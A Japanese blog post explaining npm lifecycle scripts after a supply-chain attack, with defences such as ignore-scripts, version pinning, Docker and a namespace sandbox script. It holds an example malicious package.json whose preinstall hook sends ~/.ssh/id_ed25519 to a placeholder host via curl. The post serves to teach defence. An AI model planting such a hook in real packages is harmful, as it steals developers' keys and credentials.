npmのスクリプトについて調べた 【サプライチェーン攻撃】

はじめに
npm はNode.jsのパッケージマネージャです。数多くのTypeScript/JavaScriptプロジェクトで採用されていると思います。2025年11月、正規のnpmパッケージに悪意のあるコードが混入させられる事件 (サプライチェーン攻撃) が発生し、当社でも対応に追われました。この攻撃に使われた1つの要素がnpmの「preinstall」スクリプトです。このスクリプトは「ライフサイクルスクリプト」に含まれ、特定のタイミングで実行されるようです。今回はこの「スクリプト」「ライフサイクルスクリプト」について調べてみました。
npmのスクリプト
npmのスクリプトは、package.jsonファイルに記述します。スクリプトはユーザーが npm run コマンドで実行したり、特定の操作を契機として自動的に実行されたりします。
例
bash-5.2$ cat package.json
{
"name": "npm-script",
"version": "1.0.0",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"script1": "echo Hello",
"script2": "echo World"
}
}
bash-5.2$ npm run script1
> npm-script@1.0.0 script1
> echo Hello
Hello
bash-5.2$ npm run script2
> npm-script@1.0.0 script2
> echo World
World
スクリプトの実行ユーザー
package.json に記述したスクリプトは、npmコマンドを実行したユーザーで実行されます。rootユーザーでnpmコマンドを実行すると、スクリプトもrootユーザーで実行されます。
例
bash-5.2# cat package.json
{
"name": "package",
"version": "1.0.0",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"id": "id"
}
}
bash-5.2# id
uid=0 gid=0 groups=0,65534
bash-5.2# npm run id
> package@1.0.0 id
> id
uid=0 gid=0 groups=0,65534
ライフサイクルスクリプトとは
npmにおいてライフサイクルスクリプトとは、特定のnpmコマンドを実行した時に実行されるスクリプトを指します。例えば npm install <パッケージ名> を実行した時、次のスクリプトが実行されます:
npm installコマンドのライフサイクルスクリプトpreinstallinstallpostinstallprepublishprepreparepreparepostprepare
これらのスクリプトは <パッケージ名> のパッケージのスクリプトが実行されます。これら以外にもライフサイクルスクリプトがあり、npmの公式ウェブサイトで一覧を見ることができます。
ライフサイクルスクリプトの悪用例 (サプライチェーン攻撃)
ライフサイクルスクリプトでは、実行ユーザーに許されていることであれば何でもできてしまいます。ここでは、開発中の appパッケージに悪意のある malware パッケージをインストールするケースを考えます。この malware パッケージは ~/.ssh/id_ed25519 ファイルを外部に送信する能力を持ちます。
malware パッケージ
package.json:
{
"name": "malware",
"version": "1.0.0",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"preinstall": "cat ~/.ssh/id_ed25519 | curl -XPOST --data-binary @- https://example.invalid/upload"
}
}
npm installする
$ npm install ../malware # 悪意のある preinstall スクリプトが実行される npm error code 6 npm error path /home/ubuntu/node-v24.11.1-linux-x64/malware npm error command failed npm error command sh -c cat ~/.ssh/id_ed25519 | curl -XPOST --data-binary @- https://example.invalid/upload npm error % Total % Received % Xferd Average Speed Time Time Time Current npm error Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: example.invalid
この例では curl コマンドのPOST先が example.invalid 宛になっているためコマンドが失敗しますが、有効なPOST先を指定すると実際に情報の送信に成功してしまいます。
このように、悪意のあるパッケージはインストールしただけであなたのシステムを危険に晒すことがお分かり頂けると思います。 ~/.ssh/id_ed25519 ファイルのほか、クラウドサービスのAPIキーなんかが漏れてしまうと好き放題使われてしまうという結果にもつながります。
より安全にnpmを使うためにできること
より安全にnpmを使うためにできることを示します。
ignore-script=true 設定を入れる
ignore-script 設定を入れることにより、ライフサイクルスクリプトが実行されなくなります。注意点として、パッケージにより正常に動作しなくなることが挙げられます。※ただし、IDE組み込みのnpmではignore-script設定が読み込まれないことがあるようです。
npm config set ignore-scripts=true --global
パッケージのバージョンを固定する
npmのパッケージのバージョンを指定する際、チルダ (~) やハット (^) 表記を使うことがあります。これを使うと、新しいバージョンのパッケージがリリースされた時にそのバージョンのパッケージがインストールされることがあります。これは監査の済んでいないパッケージをインストールしてしまうことに他なりませんので、これを避けます。
GOOD:
{
"name": "app",
"version": "1.0.0",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
}
"dependencies": {
"semver": "7.7.3"
}
}
BAD:
{
"name": "app",
"version": "1.0.0",
"description": "",
"license": "ISC",
"author": "",
"type": "commonjs",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
}
"dependencies": {
"semver": "^7.7.3"
}
}
npmを隔離された環境で実行する
隔離された環境で実行すると言っても、やり方が色々あるとは思いますが、通常、スクリプトはプロジェクトディレクトリ外にアクセスする必要はないと考えられますので、プロジェクトディレクトリ外にアクセスできない環境で実行することを考えます。
npmをdockerで動かす
dockerを使い、カレントディレクトリだけをコンテナにマウントしてnpmコマンドを実行することができます。これによりホストのファイルシステムにみだりにアクセスされることを防ぐことができます:
docker run -v .:/mnt -w /mnt node:25-alpine3.22 npm install
npmを別のnamespaceで動かす (Linuxのみ, 上級者向け)
Linuxのnamespaces機能を使って、ホストのファイルシステムと隔離した環境でnpmコマンドを実行することができます。次のスクリプトを実行すると隔離環境が起動します (Ubuntu 24.04で動作確認済み):
#!/bin/bash
set -euo pipefail
DIR=./container
MOUNT_PATHS="[\"/bin\", \"/lib64\", \"/lib/x86_64-linux-gnu\", \"/usr/bin\", \"/usr/sbin\"]"
WORKDIR=$(pwd)
mkdir -p "${DIR}"
# 標準入力を新しいファイルディスクリプタに移動する
exec {newfd}<&0-
export newfd
# 新しいnamespaceでシェルを起動する
unshare -r -m -p -f <<doc
set -euo pipefail
mount -t tmpfs tmpfs "${DIR}"
# resolv.conf をマウントする
mkdir "${DIR}/etc"
touch "${DIR}/etc/resolv.conf"
mount -o bind "$(realpath /etc/resolv.conf)" "${DIR}/etc/resolv.conf"
mount -o remount,ro,bind "${DIR}/etc/resolv.conf"
# MOUNT_PATHS をマウントする
echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c "mkdir -p ${DIR}/{} || exit 255"
echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c "mount -o ro,bind {} ${DIR}/{} || exit 255"
mkdir -p '${DIR}/$(pwd)'
mount -o bind '$(pwd)' '${DIR}/$(pwd)'
mkdir "${DIR}/.put_old"
# ファイルシステムを隔離する
cd "${DIR}" && \
pivot_root . .put_old && \
exec chroot . ${SHELL} -c '
mkdir /proc &&
mount -t proc proc /proc &&
umount -l /.put_old &&
cd "${WORKDIR}" &&
unshare -U ${SHELL} <&${newfd}'
doc
このスクリプトを実行するとシェルが起動します。実行前のカレントディレクトリおよび隔離環境の実行に必要な最低限のディレクトリとファイルにのみアクセス可能であることに注意してください。
上記のスクリプトは環境によってはうまく動作しない可能性があります。うまく動作しない場合は次の点を確認してみてください:
MOUNT_PATHS: 実行ファイル、および実行ファイルの動作に必要な動的リンクライブラリ (.so) へのパスが含まれているか/etc/subuidと/etc/subgidが適切に設定されているか
終わりに
本記事ではnpmのスクリプトとその隠れた危険性、およびより安全にnpmを使うためにできることを紹介しました。安全なソフトウェア開発のためにできることから行っていきましょう。
